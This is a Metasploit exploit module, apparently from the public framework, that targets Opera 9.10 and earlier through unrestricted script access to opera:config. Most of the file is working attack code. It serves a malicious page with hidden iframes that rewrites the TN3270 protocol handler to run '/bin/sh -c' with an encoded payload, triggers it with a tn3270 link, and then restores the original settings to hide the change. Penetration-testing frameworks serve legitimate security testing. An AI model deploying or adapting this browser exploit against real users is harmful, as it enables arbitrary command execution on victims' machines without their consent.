##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML

  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({
    :ua_name => HttpClients::OPERA,
    :ua_maxver => "9.10",
    :os_name => [ OperatingSystems::Match::WINDOWS, OperatingSystems::Match::LINUX ],
    :javascript => true,
    :rank => ExcellentRanking, # reliable cmd exec, cleans up after itself
    :vuln_test => nil,
  })

  def initialize(info = {})
    super(update_info(info,{
      'Name'           => 'Opera 9 Configuration Overwrite',
      'Description'    => %q{
        Opera web browser in versions <= 9.10 allows unrestricted script
        access to its configuration page, opera:config, allowing an
        attacker to change settings and potentially execute arbitrary
        code.
      },
      'License'        => BSD_LICENSE,
      'Author'         =>
        [
          'egypt', # stolen from mpack
        ],
      'References'     =>
        [
          [ 'OSVDB', '66472'],
        ],
      'Payload'        =>
        {
          'EXITFUNC' => 'process',
          'Space'    => 2048,
          'DisableNops' => true,
          'BadChars' => " ",
        },
      'Platform'       => %w{ unix },
      'Targets'        =>
        [
          #[ 'Opera < 9.10 Windows',
          #	{
          #		'Platform' => 'win',
          #		'Arch' => ARCH_X86,
          #	}
          #],
          [ 'Opera < 9.10 Unix Cmd',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
            }
          ],
        ],
      # Not sure when this was disclosed but it's been known since at
      # least March 5, 2007, since that's the release date on the version
      # of mpack I stole this from.
      'DisclosureDate' => '2007-03-05',
      'DefaultTarget' => 0
      }))
  end

  def on_request_uri(cli, request)
    print_status("Got request #{request.uri}")

    case request.uri
    when get_resource
      print_status("Sending #{self.name}")
      content =  "<body><script>"
      content << generate_evil_js(cli, request)
      content << "</script></body>"
      headers = { 'Content-Type' => 'text/html' }
    else
      print_status("404ing request for #{request.uri}")
      send_not_found(cli)
      return
    end
    send_response_html(cli, content, headers)

    print_status("Done with request #{request.uri}")
  end

  def generate_evil_js(cli, request)
    # There are a bunch of levels of quotes here, so the easiest way to
    # make everything line up is to hex escape the command to run
    p = regenerate_payload(cli).encoded
    send_not_found(cli) && return if not p

    shellcode = Rex::Text.to_hex(p, "%")
    js = <<ENDJS
blank_iframe = document.createElement('iframe');
blank_iframe.src = 'about:blank';
blank_iframe.setAttribute('id', 'blank_iframe_window');
blank_iframe.setAttribute('style', 'display:none');
document.body.appendChild(blank_iframe);
blank_iframe_window.eval(
  "config_iframe = document.createElement('iframe');" +
  "config_iframe.setAttribute('id', 'config_iframe_window');" +
  "config_iframe.src = 'opera:config';" +
  "document.body.appendChild(config_iframe);" +
  "cache_iframe = document.createElement('iframe');" +
  "cache_iframe.src = 'opera:cache';" +
  "cache_iframe.onload = function ()" +
  "{" +
  "	config_iframe_window.eval" +
  "	(\\"" +
  "	old_handler = opera.getPreference('Network','TN3270 App');" +
  "	old_pref    = opera.getPreference('User Prefs','Run TN3270 In Terminal');" +
  "	shellcode = '#{shellcode}';" +
  "	opera.setPreference('Network','TN3270 App','/bin/sh -c ' + unescape(shellcode));" +
  "	opera.setPreference('User Prefs','Run TN3270 In Terminal','0');" +
  "	app_link = document.createElement('a');" +
  "	app_link.setAttribute('href', 'tn3270://#{Rex::Text.rand_text_alpha(rand(5)+5)}');" +
  "	app_link.click();" +
  "	setTimeout(function () {opera.setPreference('Network','TN3270 App',old_handler)},1000);" +
  "	setTimeout(function () {opera.setPreference('User Prefs','Run TN3270 In Terminal',old_pref)},1000);" +
  "	\\");" +
  "};" +
  "document.body.appendChild(cache_iframe);" +
"");
ENDJS

  end
end
